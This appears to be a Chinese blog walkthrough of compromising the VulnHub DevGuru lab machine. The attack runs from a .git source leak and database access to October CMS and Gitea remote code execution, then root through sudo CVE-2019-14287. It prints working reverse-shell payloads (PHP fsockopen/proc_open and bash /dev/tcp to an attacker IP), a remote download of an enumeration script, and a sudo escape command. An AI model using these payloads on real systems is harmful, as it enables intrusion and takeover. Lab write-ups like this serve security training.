vulnhub之devguru靶场提权过程(vulnhub打靶日记)

一、环境搭建

VM版本:17.5.1 build-23298084

攻击机:Kali2024(下载地址:https://www.kali.org/)

靶机:vulnhub靶场Devguru(下载地址:https://www.vulnhub.com/entry/devguru-1,620/)

网络环境:两台主机都设置NAT模式

踩坑1:使用vmware workstation打开Devguru,可能存在兼容性问题兼容性,我是选择重试继续安装也能正常玩耍,也可以更改VM虚拟机硬件为16.x。

解决环境配置问题也是安全必修课之一,细心解决并多总结即可!环境准备完毕,就可以娱乐的玩靶场了。

二、信息收集

1、收集IP、端口、目录信息

(1)确定靶机、攻击机IP,Kali攻击机使用ifconfig查看的IP为:192.168.232.128

(2)使用kali的nmap进行网段扫描、全端口扫描:nmap -p 1-65535 192.168.232.0/24

发现靶机的IP为:192.168.232.157         开放端口22、80、8585

(3)实战中优先访问80、8585web页面端口。22是ssh端口可以尝试爆破,不过成功概率极低。

http://192.168.232.157是网站首页,未发现任何可利用信息。

http://192.168.232.157:8585是gitea的首页,gitea版本为1.12.5存在历史漏洞。

(4)扫描http://192.168.232.157站点目录,发现利用点:

/.git/文件泄露     mysql登录地址 /adminer.php

扫描http://192.168.232.157:8585 站点目录,未发现什么有价值的利用点,只有一个登录处。

2、信息整合、漏洞利用

(1)两个登录框的账号密码都未知,威胁建模后,发现/.git/泄露漏洞可以利用,从这里入手。使用git利用工具GitHack-master爬取站点的源码。

(2)成功获得源码文件,开始审计源码,寻找有价值的信息,这里一眼就看到了config配置文件。从配置文件中获取了一个mysql用户。

拿下mysql后台低权限【1】

(3)去站点80端口的/adminer.php后台尝试登录,非常好,成功进入mysql后台。

(4)进入mysql数据库攻击优先顺序:

方法1:权限足够,直接写入一句话拿下网站权限

方法2:翻找数据表获取其他站点的账号密码,再进行后续的提权

(5)这里使用方法2,优先查看backend_user数据表的信息,发现一个账号密码,看样子就知道不容易解密。

(6)目前解密失败就尝试换一种思路,自己创建一个用户,并且权限设置为管理员。

(7)模仿游戏,尽量能设置一样,这样权限也会一样,再把添加的gjc用户加入管理员组中。

拿下october后台权限【2】

(8)从文件名规律猜测存在站点backend,访问站点:http://192.168.232.157/backend,使用创建的账号gjc 密码123456尝试登录,登录成功。

(9)kali工具或者网上搜索october-cms存在已知漏洞,后台可以文件上传、创建网页反弹shell,有兴趣了解参考大神文章:https://blog.csdn.net/m0_66299232/article/details/129119565

october获取网站权限【3】

(10)创建一个网页,写入反弹shell的代码:

function onStart(){
//nc监听7777端口$s=fsockopen("攻击机IP",7777);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

(11)Kali攻击机nc监听7777端口:nc -lvvp 7777

(12)保持后查看网页,成功反弹shell。

(13)whoami查看权限,只是web权限太低了,靶场最终需要拿下root权限,尝试提权。

(14)翻一下目录,发现/var/backups下面有个备份文件app.ini.bak ,使用cat查看一下,获取到一个gitea和密码UfFPTF8C8jjxVF2m的mysql账号,刚好http://192.168.232.157:8585是gitea,猜测后面肯定有关联,正所谓无巧不成书!

拿下mysql后台高权限【4】

(15)去http://192.168.232.157/adminer.php登录看看,成功进入!

(16)查看user表信息,看到一个frank用户,使用了pbkdf2加密,此处有两种办法:

方法1:查看网站源码,分析加密方式,再根据加密写出解密脚本得到密码。(实战推荐这种)

方法2:修改密码,编辑数据表,修改加密方式为Bcrypt,密码改为123456(靶场推荐这种)

(17)Bcrypt加密网站:https://www.jisuan.mobi/nX7.html。修改两处即可!

拿下gieat站点后台权限【5】

(18)使用账号gieat密码123456成功登录http://192.168.232.157:8585 站点后台。

gieat获取普通用户权限【6】

(19)这里也是难点,gieat站点后台有个远程命令执行漏洞,文章地址:

Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius访问http://192.168.232.157:8585/frank/devguru-website/settings/hooks/git/pre-receive写入反弹命令:

bash -c "exec bash -i >& /dev/tcp/192.168.232.128/5566 0>&1"        

(20)保存后,Kali创建监听5566端口,按照原理编辑README.md文件。

(21)在文件中随机敲几个空格提交修改,既可成功反弹shell。

​​​​​​​

(22)查看权限,是frank用户,普通权限,无法查看root目录下面的文件,只能进行权限提升。

三、权限提升

1、Linux常见提权手段总结

【1】内核溢出漏洞提权,例如:cve-2016-5195、cve_2021_4034等,也就是常说的脏牛系。

【2】SUID、SUDO、SUDO历史CVE漏洞提权

【3】Cron计划任务提权、path环境变量提权、NFS协议提权

【4】数据库类型提权、Capability能力

【5】其他.. ....LD_Preload加载\LXD\docker等等

以上是本人学过的linux提权方式,遗漏的欢迎大家评论区补充。

2、上传提权综合类脚本,PEASS-ng.sh工具几乎包含了上面全部手段探测,算是提权神器。windows中也能用。

将脚本放到Kali的root根目录下面,python开启一个服务终端:python -m http.server 8080

然后靶机进入/tmp目录远程下载文件:wget http://192.168.232.128:8080/PEASS-ng.sh

3、进入靶机的/tmp目录下面,可以看到文件被成功访问下载。

4、赋予文件执行权限:chmod +x PEASS-ng.sh 

执行文件:./PEASS-ng.sh

工具爬取出了suid等可利用信息,suid、sudo等提权参考文章:https://gtfobins.github.io/

5、sudo -l 查看可利用命令,发现/usr/bin/sqlite3

6、使用命令:sudo /usr/bin/sqlite3 /dev/null '.shell /bin/sh'  发现提权失败,权限不足。

7、因为这里有一个考点,就是sudo版本1.8.21存在CVE-2019-14287漏洞。(CVE-2019-14287学习文章:CVE-2019-14287:sudo权限绕过漏洞分析与复现_运行

拿下站点root权限【7】

8、将命令修改整理后:sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

9、至此,靶场完结!!!

四、关卡总结

考点:

1、拿下站点、敏感文件后,需要细心的审计搜索有价值的信息,特别是账号密码。

2、常见网站october、gieat的历史漏洞,利用已知漏洞反弹shell,拿下网站。

3、熟悉数据库后台创建用户,添加用户组,编辑用户的操作。

4、了解linux提权常用操作,内核漏洞>suid/sudo>环境变量/计划任务等等。

难点:

1、常见网站october、gieat的历史漏洞,这些站点的漏洞能否成功利用提权,对于小白来说是块硬骨头。

2、获取mysql的frank用户时,此处用的是修改加密方式、修改密码。实战中此操作风险太高。需要根据前面获得的源码分析加解密方式,才是最安全合理的。但是代码能力要求很高

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/589266.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

考研数学|如何知道自己基础阶段复习过关,可以进入强化?

基础不牢,地动山摇!!! 直接说结论,对于知能行刷到2级满可以开强化,知能行2级满后可以用1800来检测一下自己 对于基础阶段的学习者来说,推荐使用汤家凤老师的《1800题》。这本题集包含了大量的…

HarmonyOS NEXT应用开发之Environment:设备环境查询

开发者如果需要应用程序运行的设备的环境参数,以此来作出不同的场景判断,比如多语言,暗黑模式等,需要用到Environment设备环境查询。 Environment是ArkUI框架在应用程序启动时创建的单例对象。它为AppStorage提供了一系列描述应用…

18.web 应用测试

每年必考; 考几个关键点: 1、计算通信量;给定并发多少、每个并发事务请求的量是多少、单位时间并发有多少个请求;计算吞吐量; 解:记公式;课上不讲,真题里有公式;比较容易…

4.6 offset指令,jmp short指令,far,dword ptr各种跳转指令

4.6 offset指令,jmp short指令,far,dword ptr各种跳转指令 可以修改IP,或同时修改CS和IP的指令统称为转移指令。概括的讲,转移指令就是可以控制CPU执行内存中某处代码的指令 1. 转移指令 1.1 8086CPU的转移行为有以…

“帮助“Java成长的世界级大师不简单!

文章目录 初探编程:“天啊,真酷,程序真的能学习。”哺育Java成长,成为Java幕后英雄出书《Effective Java》斩获Jolt图书大奖 是谁?作品一出版就获得著名的Jolt图书大奖,每一版本豆瓣评分均超9.0&#xff01…

Windows虚拟主机如何创建数据库和导入数据库

看到有网友咨询想要知道Windows虚拟主机上如何使用数据库,由于是新手,对于主Plesk面板使用不是很了解,想要知道如何使用数据库,这边了解到他当前使用的是Hostease 的Windows 虚拟主机,首先,登录你的Plesk面板,这里有一…

如何保护IP地址?安全匿名上网的方法

当互联网成为每个家庭的重要组成部分后,IP地址就成了你的虚拟地址。您的请求从该地址开始,然后 Internet 将消息发送回该地址。那么,您担心您的地址被泄露吗? 对于安全意识高或者某些业务需求的用户,如果您正在寻找保护…

生存分析笔记

生存分析(英语:Survival analysis)是指根据试验或调查得到的数据对生物或人的生存时间进行分析和推断,研究生存时间和结局与众多影响因素间关系及其程度大小的方法,也称生存率分析或存活率分析,例如生物有机…

VIVADO固化程序步骤

VIVADO固化程序步骤 1烧录bit文件 1、正确的将FPGA专用下载器与调试板卡或者产品连接,检查无误后打开电源上电。注:严禁带电操作。 2、打开VIVADO18.3软件,如下所示: 3、点击Open Hardware Manager,界面如下所示: 4…

Python网络爬虫(三):Selenium--以携程酒店为例

1 Selenium简介 Selenium是一个用于网站应用程序自动化的工具,它可以直接运行在浏览器中,就像真正的用户在操作一样。它相当于一个机器人,可以模拟人类在浏览器上的一些行为,比如输入文本、点击、回车等。Selenium支持多种浏览器&…

基于Springboot + MySQL + Vue 大学新生宿舍管理系统 (含源码)

目录 📚 前言 📑摘要 📑操作流程 📚 系统架构设计 📚 数据库设计 💬 管理员信息属性 💬 学生信息实体属性 💬 宿舍安排信息实体属性 💬 卫生检查信息实体属性 &…

SD-WAN国际网络专线:高效、合规且可靠的跨境连接解决方案

在数字化时代,企业对跨境网络连接的需求日益增长。SD-WAN技术作为一种新兴的解决方案,正逐渐成为构建跨境网络连接的首选。本文将探讨SD-WAN国际网络专线的发展现状、合规性要求以及选择时需要考虑的关键因素。 SD-WAN技术:跨境网络连接的新…